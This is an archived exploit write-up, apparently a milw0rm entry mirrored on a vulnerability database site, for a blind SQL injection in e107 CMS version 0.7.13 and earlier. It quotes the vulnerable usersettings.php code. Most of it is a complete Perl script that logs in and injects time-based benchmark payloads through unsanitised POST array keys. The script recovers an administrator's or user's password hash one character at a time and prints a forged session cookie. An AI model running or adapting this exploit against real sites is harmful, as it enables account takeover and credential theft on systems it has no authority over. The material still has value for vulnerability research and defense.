# Author: __GiReX__
# Homepage: http://girex.altervista.org
# Date: 19/10/2008
# CMS: e107
# URL: http://e107.org/
# Note: Works regardless of php.ini settings (magic_quotes, register_globals..)
# Attenction: This exploit was written for educational purpose.
# Use it at your own risk. Author will be not responsible for any damage.
# Description: e107 is a content management system written in PHP
# and using the popular open source MySQL database system for content storage.
# It's completely free, totally customisable and in constant development.
# Bug description:
# e107 presents a vuln in userssettings.php (line 363-395), a POST array ($_POST['ue'])
# goes into an update query, it cleans the values of this array but not the keys name...
# File: usersettings.php (line 363-395)
if($_POST['ue'])
...
foreach($_POST['ue'] as $key => $val)
$err = $ue->user_extended_validate_entry($val,$extList[$key]);
if(!$err)
$val = $tp->toDB($val); <== Cleans values
$ue_fields .= $key."='".$val."'"; <== Here our $_POST['ue'] keys and values
}
}
...
# Lines: 496-500
if($ue_fields)
{
// ***** Next line creates a record which presumably should be there anyway, so could generate an error
$sql->db_Select_gen("INSERT INTO #user_extended (user_extended_id, user_hidden_fields) values ('".intval($inp)."', '')");
$sql->db_Update("user_extended", $ue_fields." WHERE user_extended_id = '".intval($inp)."'"); <== Here vulnearable query
}
# As you can see the return value of the update query isn't checked so we have to use a blind benchmark() method
#!/usr/bin/perl
# e107 <= 0.7.13 Blind SQL Injection Exploit
# Admin/User's Password Retrieve Exploit
# Works regardless of php.ini settings
# Coded by __GiReX__
use POSIX;
use LWP::UserAgent;
use HTTP::Cookies;
use Digest::MD5 qw(md5 md5_hex md5_base64);
if(@ARGV < 4)
{
banner();
print "[+] You need an user account to run this exploit\n\n";
print "[+] Usage: perl $0 <host> <path> <your_username> <your_pass> <victim_id>\n";
print "[+] Example: perl $0 localhost /e107/ test password 1\n";
exit;
}
my $target = ($ARGV[0] =~ /^http:\/\//) ? $ARGV[0].$ARGV[1]: 'http://' . $ARGV[0].$ARGV[1];
my ($user, $pass, $id) = ($ARGV[2], $ARGV[3], ($ARGV[4]) ? $ARGV[4] : 1);
my $lwp = new LWP::UserAgent or die;
my $cookie_jar = new HTTP::Cookies or die;
$lwp->cookie_jar( $cookie_jar );
my @cset = (48..57, 97..102);
my $benchmark = 1000000;
my $prefix = "e107";
my $hash = "";
banner();
try_login($user, $pass) or die "[-] Unable to login with $user and $pass\n";
syswrite(STDOUT, "[+] Logged in with your account..\n".
"[+] Checking database delay, please wait..\n\n" );
$ndelay = check_bench("1=0");
print STDOUT "[+] Normal delay: $ndelay\n";
$bdelay = check_bench("1=1");
print STDOUT "[+] Benchmark delay: $bdelay\n\n";
if($bdelay - $ndelay < 4)
{
print STDOUT "[-] Benchmarck delay too small compared to normal delay, increase it.\n";
exit ();
}
for(my $j = 1; $j <= 32; $j++)
{
foreach $char(@cset)
{
info(chr($char), $hash, "password");
my ($pre_time, $post_time) = time();
$rv = check_char($char, $j, "user_password");
$post_time = time();
if($rv and ($post_time - $pre_time) > ($ndelay + 3))
{
$hash .= chr($char);
last;
}
}
last if $j != length($hash);
}
if(not defined $hash or length($hash) != 32)
{
print STDOUT "\n\n[-] Exploit mistake: please re-check benchmark\n";
exit;
}
else
{
print STDOUT "\n\n[+] You can try to login with this cookie:\n";
print STDOUT "[+] Cookie: ${cookie_prefix}cookie=${id}.". md5_hex($hash)."\n";
}
sub try_login
{
my ($user, $pass) = @_;
my $res = $lwp->post( $target.'news.php' ,
[ 'username' => $user,
'userpass' => $pass,
'userlogin' => 'Login',
'autologin' => '1' ] );
if($res->status_line =~ /^302|200|301/ or $res->is_success)
{
if($res->as_string =~ /Set-Cookie: (.+)cookie/)
{
$cookie_prefix = $1;
return 1;
}
return undef;
}
die ("[-] Unable to request ${target}news.php ".$res->status_line."\n");
}
sub info
{
my($c, $cur, $str) = @_;
$cur = '' unless defined $cur;
print STDOUT "[+] Victim ${str}: ${cur}${c}\r";
$| = 1;
}
sub check_bench
{
my $true = shift;
my $delay = 0;
my $sql = "user_hidden_fields=99 AND CASE WHEN(${true}) THEN benchmark(${benchmark}, MD5(1)) END#";
for(1..3)
{
my ($pre_time, $post_time) = time();
my $res = $lwp->post( $target.'usersettings.php',
[ 'email' => '[email protected]',
'updatesettings' => 'Save Settings',
"ue[${sql}]" => 'damn' ]);
$post_time = time();
$delay += int($post_time - $pre_time);
}
return ceil($delay / 3);
}
sub check_char
{
my ($char, $n, $field) = @_ ;
$rand = int($char + $n);
my $sql = "user_hidden_fields=${rand} AND CASE WHEN(SELECT ASCII(SUBSTRING(${field},${n},1)) ".
"FROM ${prefix}_user WHERE user_id=${id})=${char} THEN benchmark(${benchmark}, MD5(1)) END#";
my $res = $lwp->post( $target.'usersettings.php',
[ 'email' => '[email protected]',
'updatesettings' => 'Save Settings',
"ue[${sql}]" => 'damn' ]);
return $res->is_success;
}
sub banner
{
print "\n";
print "[+] e107 <= 0.7.13 Blind SQL Injection\n";
print "[+] Admin/User's Password Retrieve Exploit\n";
print "[+] Coded by __GiReX__\n";
print "\n";
}
# milw0rm.com [2008-10-19]
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation